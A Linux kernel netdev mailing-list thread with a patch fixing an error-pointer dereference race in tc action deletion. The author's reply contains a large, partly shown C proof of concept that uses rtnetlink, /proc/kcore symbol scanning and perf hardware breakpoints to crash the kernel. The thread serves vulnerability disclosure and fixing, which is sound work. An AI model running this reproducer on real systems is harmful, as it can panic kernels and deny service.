[PATCH net] net/sched: reject IDR error pointers when deleting actions

[PATCH net] net/sched: reject IDR error pointers when deleting actions

[Weiming Shi]

tcf_action_delete() drops the reference held by its lookup before calling
tcf_idr_delete_index() with the saved action index.  An unlocked
classifier can remove that action and reserve the same IDR slot with
ERR_PTR(-EBUSY) in between.

tcf_idr_delete_index() only checks the lookup result for NULL.  It
therefore treats the reservation as a tc_action and dereferences
tcfa_bindcnt.  A hardware execution breakpoint was used to schedule the
interleaving without changing the kernel source.  KASAN reported this
decoded trace:

  BUG: KASAN: null-ptr-deref in tca_action_gd+0x5b9/0x1010
  Read of size 4 at addr 0000000000000010 by task poc/150
  Oops: general protection fault, probably for non-canonical address 0xdffffc0000000002
  RIP: tca_action_gd+0x5c0/0x1010:
    arch_atomic_read at arch/x86/include/asm/atomic.h:23
    raw_atomic_read at include/linux/atomic/atomic-arch-fallback.h:457
    atomic_read at include/linux/atomic/atomic-instrumented.h:33
    tcf_idr_delete_index at net/sched/act_api.c:766
    tcf_action_delete at net/sched/act_api.c:1859
    tcf_del_notify at net/sched/act_api.c:2014
    tca_action_gd at net/sched/act_api.c:2064
  R13: 0000000000000010 R15: fffffffffffffff0
  Kernel panic - not syncing: Fatal exception

R15 contains ERR_PTR(-EBUSY), and adding the tcfa_bindcnt offset produces
the address in R13.  With the guard applied, the same reproducer returned
-ENOENT without a KASAN report or panic.  Treat error pointers as absent
and return -ENOENT.

Fixes: 0190c1d452a9 ("net: sched: atomically check-allocate action")
Cc: stable@vger.kernel.org
Reported-by: Xiang Mei <xmei5@asu.edu>
Assisted-by: LLM
Signed-off-by: Weiming Shi <bestswngs@gmail.com>
---
 net/sched/act_api.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/net/sched/act_api.c b/net/sched/act_api.c
index 19501dc99..eabe612b7 100644
--- a/net/sched/act_api.c
+++ b/net/sched/act_api.c
@@ -758,7 +758,7 @@ static int tcf_idr_delete_index(struct tcf_idrinfo *idrinfo, u32 index)
 
 	mutex_lock(&idrinfo->lock);
 	p = idr_find(&idrinfo->action_idr, index);
-	if (!p) {
+	if (IS_ERR_OR_NULL(p)) {
 		mutex_unlock(&idrinfo->lock);
 		return -ENOENT;
 	}

base-commit: e6b6078ea1731b05b3b552497b3bce4bf8b014ae
-- 
2.55.0

Re: [PATCH net] net/sched: reject IDR error pointers when deleting actions

[Jamal Hadi Salim]

On Mon, Sep 14, 2026 at 2:51 AM Weiming Shi <bestswngs@gmail.com> wrote:
>
> tcf_action_delete() drops the reference held by its lookup before calling
> tcf_idr_delete_index() with the saved action index.  An unlocked
> classifier can remove that action and reserve the same IDR slot with
> ERR_PTR(-EBUSY) in between.
>
> tcf_idr_delete_index() only checks the lookup result for NULL.  It
> therefore treats the reservation as a tc_action and dereferences
> tcfa_bindcnt.  A hardware execution breakpoint was used to schedule the
> interleaving without changing the kernel source.  KASAN reported this
> decoded trace:
>
>   BUG: KASAN: null-ptr-deref in tca_action_gd+0x5b9/0x1010
>   Read of size 4 at addr 0000000000000010 by task poc/150
>   Oops: general protection fault, probably for non-canonical address 0xdffffc0000000002
>   RIP: tca_action_gd+0x5c0/0x1010:
>     arch_atomic_read at arch/x86/include/asm/atomic.h:23
>     raw_atomic_read at include/linux/atomic/atomic-arch-fallback.h:457
>     atomic_read at include/linux/atomic/atomic-instrumented.h:33
>     tcf_idr_delete_index at net/sched/act_api.c:766
>     tcf_action_delete at net/sched/act_api.c:1859
>     tcf_del_notify at net/sched/act_api.c:2014
>     tca_action_gd at net/sched/act_api.c:2064
>   R13: 0000000000000010 R15: fffffffffffffff0
>   Kernel panic - not syncing: Fatal exception
>
> R15 contains ERR_PTR(-EBUSY), and adding the tcfa_bindcnt offset produces
> the address in R13.  With the guard applied, the same reproducer returned
> -ENOENT without a KASAN report or panic.  Treat error pointers as absent
> and return -ENOENT.
>

We test all submissions to tc. Can you provide a tdc test or reproducer (PoC)?
Please remember tto do his for any future submissions. If the
information is sensitive, please send it to me privately.

cheer,
jamal


> Fixes: 0190c1d452a9 ("net: sched: atomically check-allocate action")
> Cc: stable@vger.kernel.org
> Reported-by: Xiang Mei <xmei5@asu.edu>
> Assisted-by: LLM
> Signed-off-by: Weiming Shi <bestswngs@gmail.com>
> ---
>  net/sched/act_api.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/net/sched/act_api.c b/net/sched/act_api.c
> index 19501dc99..eabe612b7 100644
> --- a/net/sched/act_api.c
> +++ b/net/sched/act_api.c
> @@ -758,7 +758,7 @@ static int tcf_idr_delete_index(struct tcf_idrinfo *idrinfo, u32 index)
>
>         mutex_lock(&idrinfo->lock);
>         p = idr_find(&idrinfo->action_idr, index);
> -       if (!p) {
> +       if (IS_ERR_OR_NULL(p)) {
>                 mutex_unlock(&idrinfo->lock);
>                 return -ENOENT;
>         }
>
> base-commit: e6b6078ea1731b05b3b552497b3bce4bf8b014ae
> --
> 2.55.0
>

Re: [PATCH net] net/sched: reject IDR error pointers when deleting actions

[Weiming Shi]

Jamal Hadi Salim <jhs@mojatatu.com> 于2026年9月14日周一 17:58写道：
>
> On Mon, Sep 14, 2026 at 2:51 AM Weiming Shi <bestswngs@gmail.com> wrote:
> >
> > tcf_action_delete() drops the reference held by its lookup before calling
> > tcf_idr_delete_index() with the saved action index.  An unlocked
> > classifier can remove that action and reserve the same IDR slot with
> > ERR_PTR(-EBUSY) in between.
> >
> > tcf_idr_delete_index() only checks the lookup result for NULL.  It
> > therefore treats the reservation as a tc_action and dereferences
> > tcfa_bindcnt.  A hardware execution breakpoint was used to schedule the
> > interleaving without changing the kernel source.  KASAN reported this
> > decoded trace:
> >
> >   BUG: KASAN: null-ptr-deref in tca_action_gd+0x5b9/0x1010
> >   Read of size 4 at addr 0000000000000010 by task poc/150
> >   Oops: general protection fault, probably for non-canonical address 0xdffffc0000000002
> >   RIP: tca_action_gd+0x5c0/0x1010:
> >     arch_atomic_read at arch/x86/include/asm/atomic.h:23
> >     raw_atomic_read at include/linux/atomic/atomic-arch-fallback.h:457
> >     atomic_read at include/linux/atomic/atomic-instrumented.h:33
> >     tcf_idr_delete_index at net/sched/act_api.c:766
> >     tcf_action_delete at net/sched/act_api.c:1859
> >     tcf_del_notify at net/sched/act_api.c:2014
> >     tca_action_gd at net/sched/act_api.c:2064
> >   R13: 0000000000000010 R15: fffffffffffffff0
> >   Kernel panic - not syncing: Fatal exception
> >
> > R15 contains ERR_PTR(-EBUSY), and adding the tcfa_bindcnt offset produces
> > the address in R13.  With the guard applied, the same reproducer returned
> > -ENOENT without a KASAN report or panic.  Treat error pointers as absent
> > and return -ENOENT.
> >
>
> We test all submissions to tc. Can you provide a tdc test or reproducer (PoC)?
> Please remember tto do his for any future submissions. If the
> information is sensitive, please send it to me privately.
>
> cheer,
> jamal
>
>
> > Fixes: 0190c1d452a9 ("net: sched: atomically check-allocate action")
> > Cc: stable@vger.kernel.org
> > Reported-by: Xiang Mei <xmei5@asu.edu>
> > Assisted-by: LLM
> > Signed-off-by: Weiming Shi <bestswngs@gmail.com>
> > ---
> >  net/sched/act_api.c | 2 +-
> >  1 file changed, 1 insertion(+), 1 deletion(-)
> >
> > diff --git a/net/sched/act_api.c b/net/sched/act_api.c
> > index 19501dc99..eabe612b7 100644
> > --- a/net/sched/act_api.c
> > +++ b/net/sched/act_api.c
> > @@ -758,7 +758,7 @@ static int tcf_idr_delete_index(struct tcf_idrinfo *idrinfo, u32 index)
> >
> >         mutex_lock(&idrinfo->lock);
> >         p = idr_find(&idrinfo->action_idr, index);
> > -       if (!p) {
> > +       if (IS_ERR_OR_NULL(p)) {
> >                 mutex_unlock(&idrinfo->lock);
> >                 return -ENOENT;
> >         }
> >
> > base-commit: e6b6078ea1731b05b3b552497b3bce4bf8b014ae
> > --
> > 2.55.0
> >

Hi Jamal,

Thanks for the reminder. I have attached the standalone reproducer as poc.c.
It uses raw rtnetlink. ill also make sure to include selftests or a
PoC in future submissions.

I tested it in a 4-vCPU x86-64 QEMU/KVM guest with the following relevant
options enabled:

```
    CONFIG_SMP=y
    CONFIG_NET_NS=y
    CONFIG_NET_SCH_INGRESS=y
    CONFIG_NET_CLS_ACT=y
    CONFIG_NET_CLS_FLOWER=y
    CONFIG_NET_ACT_GACT=y
    CONFIG_PERF_EVENTS=y
    CONFIG_HAVE_HW_BREAKPOINT=y
    CONFIG_MEMBARRIER=y
    CONFIG_KASAN=y
    CONFIG_DEBUG_INFO=y
```

PoC:

This is a narrow race. With the configuration above, five independent vulnerable
kernel boots produced one KASAN panic, three -ENOENT results and one
-EPERM result. A missed run exits normally and can simply be repeated.

build
```
gcc -static -O2 -Wall -Wextra -Werror -pthread -o poc poc-no-printf.c
```
source
```c
#define _GNU_SOURCE
#include <elf.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <linux/netlink.h>
#include <linux/membarrier.h>
#include <linux/hw_breakpoint.h>
#include <linux/perf_event.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#include <stdatomic.h>
#include <sys/wait.h>
#include <semaphore.h>

#define TC_H_INGRESS             0xFFFFFFF1U
#define TC_H_CLSACT              TC_H_INGRESS
#define CLSACT_HANDLE            0xFFFF0000U
#define CLSACT_INGRESS_PARENT    0xFFFFFFF2U
#define TCA_KIND_A               1
#define TCA_OPTIONS_A            2
#define TCA_FLOWER_ACT           3
#define TCA_FLOWER_KEY_IP_PROTO  9
#define TCA_ACT_KIND             1
#define TCA_ACT_OPTIONS          2
#define TCA_ACT_INDEX            3
#define TCA_GACT_PARMS           2
#define TC_ACT_SHOT              2
#define TCA_ROOT_TAB             1
struct tc_gact_local {
__u32 index;
__u32 capab;
int action;
int refcnt;
int bindcnt;
};

struct req {
struct nlmsghdr n;
char buf[65536];
};

static int ifindex;
static __thread long last_send_ns;
static __thread long last_send_start_ns;

static void __attribute__((noinline))
nl_put(struct nlmsghdr *n, int type, const void *data, int len)
{
struct nlattr *a;

a = (struct nlattr *)((char *)n + NLMSG_ALIGN(n->nlmsg_len));
a->nla_type = type;
a->nla_len = NLA_HDRLEN + len;
if (len)
memcpy((char *)a + NLA_HDRLEN, data, len);
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + NLA_ALIGN(a->nla_len);
}

static struct nlattr *nl_nest(struct nlmsghdr *n, int type)
{
struct nlattr *a;

a = (struct nlattr *)((char *)n + NLMSG_ALIGN(n->nlmsg_len));
a->nla_type = type | NLA_F_NESTED;
a->nla_len = NLA_HDRLEN;
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + NLA_HDRLEN;
return a;
}

static void nl_nest_end(struct nlmsghdr *n, struct nlattr *a)
{
a->nla_len = (char *)n + n->nlmsg_len - (char *)a;
}

static int nl_open(void)
{
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
int sndbuf = 1024 * 1024;

if (fd < 0)
return -1;
(void)setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf));
if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
close(fd);
return -1;
}
return fd;
}

static int nl_talk(int fd, struct nlmsghdr *n, const char *what)
{
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
char buf[8192];
struct nlmsghdr *r;
int len;

(void)what;

n->nlmsg_seq = (unsigned)time(NULL) ^
      (unsigned)(unsigned long)pthread_self() ^ rand();
n->nlmsg_pid = 0;
{
struct timespec before, after;

clock_gettime(CLOCK_MONOTONIC, &before);
last_send_start_ns = before.tv_sec * 1000000000L + before.tv_nsec;
if (sendto(fd, n, n->nlmsg_len, 0,
  (struct sockaddr *)&sa, sizeof(sa)) < 0)
return -1;
clock_gettime(CLOCK_MONOTONIC, &after);
last_send_ns = (after.tv_sec - before.tv_sec) * 1000000000L +
      after.tv_nsec - before.tv_nsec;
}
len = recv(fd, buf, sizeof(buf), 0);
if (len < 0)
return -1;
for (r = (struct nlmsghdr *)buf; NLMSG_OK(r, (unsigned)len);
    r = NLMSG_NEXT(r, len)) {
if (r->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = (struct nlmsgerr *)NLMSG_DATA(r);

return e->error;
}
}
return 0;
}

static void init_tc(struct req *q, int type, int flags, int idx,
   unsigned handle, unsigned parent, unsigned info)
{
struct tcmsg *t;

memset(q, 0, sizeof(*q));
q->n.nlmsg_len = NLMSG_LENGTH(sizeof(*t));
q->n.nlmsg_type = type;
q->n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
t = (struct tcmsg *)NLMSG_DATA(&q->n);
t->tcm_family = AF_UNSPEC;
t->tcm_ifindex = idx;
t->tcm_handle = handle;
t->tcm_parent = parent;
t->tcm_info = info;
}

static unsigned filter_info(int prio)
{
return ((unsigned)prio << 16) | 0x0008U;
}

static int link_up(int fd)
{
struct {
struct nlmsghdr n;
char buf[256];
} q = {};
struct ifinfomsg *ifi;

q.n.nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
q.n.nlmsg_type = RTM_NEWLINK;
q.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
ifi = (struct ifinfomsg *)NLMSG_DATA(&q.n);
ifi->ifi_family = AF_UNSPEC;
ifi->ifi_index = ifindex;
ifi->ifi_flags = IFF_UP;
ifi->ifi_change = IFF_UP;
return nl_talk(fd, &q.n, "lo up");
}

static int add_clsact(int fd)
{
struct req q;

init_tc(&q, RTM_NEWQDISC, NLM_F_CREATE | NLM_F_EXCL, ifindex,
CLSACT_HANDLE, TC_H_CLSACT, 0);
nl_put(&q.n, TCA_KIND_A, "clsact", 7);
return nl_talk(fd, &q.n, "add clsact");
}

static int __attribute__((unused))
add_filter(int fd, int prio, unsigned handle, __u32 act_index)
{
struct tc_gact_local g = { .index = act_index,
  .action = TC_ACT_SHOT };
struct nlattr *opts, *acts, *a1, *aopts;
struct req q;

init_tc(&q, RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL, ifindex,
handle, CLSACT_INGRESS_PARENT, filter_info(prio));
nl_put(&q.n, TCA_KIND_A, "flower", 7);
opts = nl_nest(&q.n, TCA_OPTIONS_A);
acts = nl_nest(&q.n, TCA_FLOWER_ACT);
a1 = nl_nest(&q.n, 1);
nl_put(&q.n, TCA_ACT_KIND, "gact", 5);
aopts = nl_nest(&q.n, TCA_ACT_OPTIONS);
nl_put(&q.n, TCA_GACT_PARMS, &g, sizeof(g));
nl_nest_end(&q.n, aopts);
nl_nest_end(&q.n, a1);
nl_nest_end(&q.n, acts);
nl_nest_end(&q.n, opts);
return nl_talk(fd, &q.n, "add flower filter");
}

/* Keep a flower tcf_proto alive at @prio.  The IP protocol key makes this
 * anchor distinct from the match-all filter used by the race itself.
 */
static int __attribute__((unused)) add_anchor_filter(int fd, int prio,
unsigned handle,
    __u32 act_index)
{
struct tc_gact_local g = { .index = act_index,
  .action = TC_ACT_SHOT };
struct nlattr *opts, *acts, *a1, *aopts;
unsigned char ip_proto = 6;
struct req q;

init_tc(&q, RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL, ifindex,
handle, CLSACT_INGRESS_PARENT, filter_info(prio));
nl_put(&q.n, TCA_KIND_A, "flower", 7);
opts = nl_nest(&q.n, TCA_OPTIONS_A);
nl_put(&q.n, TCA_FLOWER_KEY_IP_PROTO, &ip_proto, sizeof(ip_proto));
acts = nl_nest(&q.n, TCA_FLOWER_ACT);
a1 = nl_nest(&q.n, 1);
nl_put(&q.n, TCA_ACT_KIND, "gact", 5);
aopts = nl_nest(&q.n, TCA_ACT_OPTIONS);
nl_put(&q.n, TCA_GACT_PARMS, &g, sizeof(g));
nl_nest_end(&q.n, aopts);
nl_nest_end(&q.n, a1);
nl_nest_end(&q.n, acts);
nl_nest_end(&q.n, opts);
return nl_talk(fd, &q.n, "add flower anchor");
}

static int del_filter(int fd, int prio, unsigned handle)
{
struct req q;

init_tc(&q, RTM_DELTFILTER, 0, ifindex, handle,
CLSACT_INGRESS_PARENT, filter_info(prio));
nl_put(&q.n, TCA_KIND_A, "flower", 7);
return nl_talk(fd, &q.n, "del flower filter");
}

static int del_actions(int fd, const __u32 *indices, size_t count,
      const char *what)
{
struct {
struct nlmsghdr n;
char buf[1024];
} q = {};
struct nlattr *tab;
struct tcamsg *t;
size_t i;

q.n.nlmsg_len = NLMSG_LENGTH(sizeof(*t));
q.n.nlmsg_type = RTM_DELACTION;
q.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
t = (struct tcamsg *)NLMSG_DATA(&q.n);
t->tca_family = AF_UNSPEC;
tab = nl_nest(&q.n, TCA_ROOT_TAB);
for (i = 0; i < count; i++) {
struct nlattr *action = nl_nest(&q.n, i + 1);

nl_put(&q.n, TCA_ACT_KIND, "gact", 5);
nl_put(&q.n, TCA_ACT_INDEX, &indices[i], sizeof(indices[i]));
nl_nest_end(&q.n, action);
}
nl_nest_end(&q.n, tab);
return nl_talk(fd, &q.n, what);
}

static int __attribute__((unused)) del_action(int fd, __u32 index)
{
return del_actions(fd, &index, 1, "del action");
}

static int __attribute__((unused))
add_standalone_actions(int fd, const __u32 *indices, size_t count)
{
struct {
struct nlmsghdr n;
char buf[4096];
} q = {};
struct nlattr *tab;
struct tcamsg *t;
size_t i;

q.n.nlmsg_len = NLMSG_LENGTH(sizeof(*t));
q.n.nlmsg_type = RTM_NEWACTION;
q.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK |
      NLM_F_CREATE | NLM_F_EXCL;
t = (struct tcamsg *)NLMSG_DATA(&q.n);
t->tca_family = AF_UNSPEC;
tab = nl_nest(&q.n, TCA_ROOT_TAB);
for (i = 0; i < count; i++) {
struct tc_gact_local g = {
.index = indices[i],
.action = TC_ACT_SHOT,
};
struct nlattr *action = nl_nest(&q.n, i + 1);
struct nlattr *aopts;

nl_put(&q.n, TCA_ACT_KIND, "gact", 5);
aopts = nl_nest(&q.n, TCA_ACT_OPTIONS);
nl_put(&q.n, TCA_GACT_PARMS, &g, sizeof(g));
nl_nest_end(&q.n, aopts);
nl_nest_end(&q.n, action);
}
nl_nest_end(&q.n, tab);
return nl_talk(fd, &q.n, "add standalone dummy actions");
}

static void __attribute__((unused)) sleep_us(long usec)
{
struct timespec ts = { usec / 1000000, (usec % 1000000) * 1000 };

nanosleep(&ts, NULL);
}



#define ACTION_COUNT 32
#define TARGET_START 0x100000U
#ifndef RACE_TRIALS
#define RACE_TRIALS 20
#endif
#define RCU_BUSY_US 3000L
#define GUARD_YIELDS 2000
#ifndef HEADSTART_MIN_US
#define HEADSTART_MIN_US 220L
#endif
#ifndef HEADSTART_SLOTS
#define HEADSTART_SLOTS 1L
#endif
#ifndef BREAKPOINT_ADDR
/* Pass the build-specific address as argv[1]; this override is for
automation. */
#define BREAKPOINT_ADDR 0ULL
#endif

static unsigned long breakpoint_addr = BREAKPOINT_ADDR;

struct race_ctx {
sem_t racer_start;
sem_t controller_start;
sem_t controller_armed;
sem_t creator_start;
sem_t guard_start[2];
sem_t guard_done;
sem_t sync_start;
sem_t sync_done;
sem_t done;
long wake_ns;
long headstart_us;
__u64 period;
int perf_fd;
int perf_signal_seen;
int old_prio;
int new_prio;
int detector_prio;
__u32 target;
int racer_ret;
int delete_ret;
int creator_ret;
int detector_ret;
int sync_ret;
long detector_send_ns;
long actual_wake_ns;
long racer_send_ns;
long creator_send_ns;
long creator_send_start_abs_ns;
long creator_start_abs_ns;
long controller_release_abs_ns;
atomic_int stop;
atomic_int guard_count;
atomic_int guard_release;
atomic_int racer_tid;
atomic_int controller_tid;
};

struct guard_ctx {
struct race_ctx *race;
int id;
};

static void fill_indices(__u32 indices[ACTION_COUNT], __u32 target)
{
int i;

indices[0] = target;
for (i = 1; i < ACTION_COUNT; i++)
indices[i] = target + 63 + i;
}

static void __attribute__((unused))
fill_delete_indices(__u32 indices[ACTION_COUNT], __u32 target)
{
int i;

for (i = 0; i < ACTION_COUNT - 1; i++)
indices[i] = target + i + 1;
indices[ACTION_COUNT - 1] = target;
}

static int __attribute__((unused)) add_filter_many(int fd, int prio,
unsigned handle,
  const __u32 indices[ACTION_COUNT])
{
struct req q;
struct nlattr *opts, *acts;
int i;

memset(&q, 0, sizeof(q));
init_tc(&q, RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL, ifindex,
handle, CLSACT_INGRESS_PARENT, filter_info(prio));
nl_put(&q.n, TCA_KIND_A, "flower", 7);
opts = nl_nest(&q.n, TCA_OPTIONS_A);
acts = nl_nest(&q.n, TCA_FLOWER_ACT);
for (i = 0; i < ACTION_COUNT; i++) {
struct tc_gact_local g = {
.index = indices[i],
.action = i == ACTION_COUNT - 1 ? TC_ACT_SHOT : 3,
};
struct nlattr *action, *aopts;

action = nl_nest(&q.n, i + 1);
nl_put(&q.n, TCA_ACT_KIND, "gact", 5);
aopts = nl_nest(&q.n, TCA_ACT_OPTIONS);
nl_put(&q.n, TCA_GACT_PARMS, &g, sizeof(g));
nl_nest_end(&q.n, aopts);
nl_nest_end(&q.n, action);
}
nl_nest_end(&q.n, acts);
nl_nest_end(&q.n, opts);
return nl_talk(fd, &q.n, "add 32-action flower filter");
}


#define TCA_PEDIT_PARMS_LOCAL 2
#define PEDIT_KEYS 255

struct tc_pedit_key_local {
__u32 mask;
__u32 val;
__u32 off;
__u32 at;
__u32 offmask;
__u32 shift;
};

struct tc_pedit_sel_local {
__u32 index;
__u32 capab;
int action;
int refcnt;
int bindcnt;
unsigned char nkeys;
unsigned char flags;
unsigned char pad[2];
};

static int __attribute__((unused))
add_filter_slow(int fd, int prio, unsigned handle, __u32 target)
{
struct req q;
struct nlattr *opts, *acts;
int i;

memset(&q, 0, sizeof(q));
init_tc(&q, RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL, ifindex,
handle, CLSACT_INGRESS_PARENT, filter_info(prio));
nl_put(&q.n, TCA_KIND_A, "flower", 7);
opts = nl_nest(&q.n, TCA_OPTIONS_A);
acts = nl_nest(&q.n, TCA_FLOWER_ACT);
for (i = 0; i < ACTION_COUNT; i++) {
struct nlattr *action, *aopts;

action = nl_nest(&q.n, i + 1);
if (!i) {
struct tc_gact_local g = {
.index = target,
.action = 3,
};

nl_put(&q.n, TCA_ACT_KIND, "gact", 5);
aopts = nl_nest(&q.n, TCA_ACT_OPTIONS);
nl_put(&q.n, TCA_GACT_PARMS, &g, sizeof(g));
} else {
unsigned char payload[sizeof(struct tc_pedit_sel_local) +
     PEDIT_KEYS * sizeof(struct tc_pedit_key_local)] = {};
struct tc_pedit_sel_local *sel = (void *)payload;

sel->index = target + i;
sel->action = i == ACTION_COUNT - 1 ? TC_ACT_SHOT : 3;
sel->nkeys = PEDIT_KEYS;
nl_put(&q.n, TCA_ACT_KIND, "pedit", 6);
aopts = nl_nest(&q.n, TCA_ACT_OPTIONS);
nl_put(&q.n, TCA_PEDIT_PARMS_LOCAL, payload,
      sizeof(payload));
}
nl_nest_end(&q.n, aopts);
nl_nest_end(&q.n, action);
}
nl_nest_end(&q.n, acts);
nl_nest_end(&q.n, opts);
return nl_talk(fd, &q.n, "add slow 32-action flower filter");
}

static void pin_cpu(int cpu)
{
cpu_set_t set;

CPU_ZERO(&set);
CPU_SET(cpu, &set);
(void)sched_setaffinity(0, sizeof(set), &set);
}

static void set_fifo(int priority)
{
struct sched_param param = { .sched_priority = priority };

(void)sched_setscheduler(0, SCHED_FIFO, &param);
}

static void __attribute__((unused)) sleep_ns(long ns)
{
struct timespec ts = { .tv_sec = ns / 1000000000L,
      .tv_nsec = ns % 1000000000L };

while (nanosleep(&ts, &ts) && errno == EINTR)
;
}

static void busy_us(long us)
{
struct timespec now, end;

clock_gettime(CLOCK_MONOTONIC, &now);
end = now;
end.tv_nsec += us * 1000L;
end.tv_sec += end.tv_nsec / 1000000000L;
end.tv_nsec %= 1000000000L;
do {
clock_gettime(CLOCK_MONOTONIC, &now);
} while (now.tv_sec < end.tv_sec ||
(now.tv_sec == end.tv_sec && now.tv_nsec < end.tv_nsec));
}

static long mono_ns(void)
{
struct timespec ts;

clock_gettime(CLOCK_MONOTONIC, &ts);
return ts.tv_sec * 1000000000L + ts.tv_nsec;
}

static void sem_wait_intr(sem_t *sem)
{
while (sem_wait(sem) && errno == EINTR)
;
}

static int perf_event_open_local(struct perf_event_attr *attr, pid_t pid,
int cpu, int group_fd, unsigned long flags)
{
return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags);
}

static unsigned long kallsyms_lookup(const char *wanted)
{
char name[512];
unsigned long addr;
char type;
FILE *file;

file = fopen("/proc/kallsyms", "r");
if (!file)
return 0;
while (fscanf(file, "%lx %c %511s", &addr, &type, name) == 3) {
if (!strcmp(name, wanted)) {
fclose(file);
return addr;
}
}
fclose(file);
return 0;
}

static int kcore_read(void *buf, size_t len, unsigned long addr)
{
Elf64_Ehdr ehdr;
Elf64_Phdr *phdrs = NULL;
ssize_t got;
int fd = -1;
int ret = -1;
int i;

fd = open("/proc/kcore", O_RDONLY);
if (fd < 0)
goto out;
got = pread(fd, &ehdr, sizeof(ehdr), 0);
if (got != sizeof(ehdr) || memcmp(ehdr.e_ident, ELFMAG, SELFMAG) ||
   ehdr.e_ident[EI_CLASS] != ELFCLASS64 ||
   ehdr.e_phentsize != sizeof(Elf64_Phdr) || !ehdr.e_phnum)
goto out;
phdrs = calloc(ehdr.e_phnum, sizeof(*phdrs));
if (!phdrs)
goto out;
got = pread(fd, phdrs, ehdr.e_phnum * sizeof(*phdrs), ehdr.e_phoff);
if (got != (ssize_t)(ehdr.e_phnum * sizeof(*phdrs)))
goto out;
for (i = 0; i < ehdr.e_phnum; i++) {
Elf64_Addr delta;

if (phdrs[i].p_type != PT_LOAD || addr < phdrs[i].p_vaddr)
continue;
delta = addr - phdrs[i].p_vaddr;
if (delta > phdrs[i].p_filesz ||
   len > phdrs[i].p_filesz - delta)
continue;
got = pread(fd, buf, len, phdrs[i].p_offset + delta);
if (got == (ssize_t)len)
ret = 0;
break;
}
out:
free(phdrs);
if (fd >= 0)
close(fd);
return ret;
}

static unsigned long find_breakpoint(void)
{
#if defined(__x86_64__)
enum { SCAN_LEN = 0x4000 };
unsigned long function = kallsyms_lookup("tca_action_gd");
unsigned long callee = kallsyms_lookup("refcount_dec_and_mutex_lock");
unsigned char *code;
unsigned long result = 0;
size_t i;

if (!function || !callee)
return 0;
code = malloc(SCAN_LEN);
if (!code)
return 0;
if (kcore_read(code, SCAN_LEN, function))
goto out;
for (i = 0; i + 5 <= SCAN_LEN; i++) {
int32_t displacement;
unsigned long target;

if (code[i] != 0xe8)
continue;
memcpy(&displacement, code + i + 1, sizeof(displacement));
target = function + i + 5 + (long)displacement;
if (target == callee) {
/* The first matching call is tcf_action_put(); the later
* match belongs to tcf_action_put_many() cleanup.
*/
result = function + i + 5;
break;
}
}
out:
free(code);
return result;
#else
return 0;
#endif
}

static void *racer_thread(void *arg)
{
struct race_ctx *ctx = arg;
int fd;

pin_cpu(0);
atomic_store_explicit(&ctx->racer_tid, (int)syscall(SYS_gettid),
     memory_order_release);
fd = nl_open();
for (;;) {
sem_wait_intr(&ctx->racer_start);
if (atomic_load_explicit(&ctx->stop, memory_order_acquire))
break;
{
ioctl(ctx->perf_fd, PERF_EVENT_IOC_DISABLE, 0);
ioctl(ctx->perf_fd, PERF_EVENT_IOC_RESET, 0);
ioctl(ctx->perf_fd, PERF_EVENT_IOC_ENABLE, 0);
ctx->racer_ret = del_action(fd, ctx->target);
ioctl(ctx->perf_fd, PERF_EVENT_IOC_DISABLE, 0);
}
ctx->racer_send_ns = last_send_ns;
sem_post(&ctx->done);
}
close(fd);
return NULL;
}

static void *controller_thread(void *arg)
{
struct race_ctx *ctx = arg;
int fd;

pin_cpu(0);
set_fifo(80);
atomic_store_explicit(&ctx->controller_tid,
     (int)syscall(SYS_gettid),
     memory_order_release);
fd = nl_open();
for (;;) {
sem_wait_intr(&ctx->controller_start);
if (atomic_load_explicit(&ctx->stop, memory_order_acquire))
break;
{
sigset_t set;
siginfo_t info;
struct timespec timeout = { .tv_nsec = 2000000L };

sigemptyset(&set);
sigaddset(&set, SIGIO);
sem_post(&ctx->controller_armed);
ctx->perf_signal_seen =
sigtimedwait(&set, &info, &timeout) >= 0;
ctx->actual_wake_ns = 0;
}
ctx->delete_ret = del_filter(fd, ctx->old_prio, 1);
atomic_store_explicit(&ctx->guard_count, 0,
     memory_order_release);
atomic_store_explicit(&ctx->guard_release, 0,
     memory_order_release);
sem_post(&ctx->guard_start[0]);
sem_post(&ctx->guard_start[1]);
sem_post(&ctx->sync_start);
sem_wait_intr(&ctx->sync_done);
sem_wait_intr(&ctx->guard_done);
sem_post(&ctx->creator_start);
busy_us(ctx->headstart_us);
ctx->controller_release_abs_ns = mono_ns();
sem_post(&ctx->done);
}
close(fd);
return NULL;
}

static void *guard_thread(void *arg)
{
struct guard_ctx *guard = arg;
struct race_ctx *ctx = guard->race;

pin_cpu(0);
set_fifo(70);
for (;;) {
sem_wait_intr(&ctx->guard_start[guard->id]);
if (atomic_load_explicit(&ctx->stop, memory_order_acquire))
break;
while (!atomic_load_explicit(&ctx->guard_release,
    memory_order_acquire))
sched_yield();
if (atomic_fetch_add_explicit(&ctx->guard_count, 1,
     memory_order_acq_rel) == 1)
sem_post(&ctx->guard_done);
}
return NULL;
}

static void *sync_thread(void *arg)
{
struct race_ctx *ctx = arg;

pin_cpu(2);
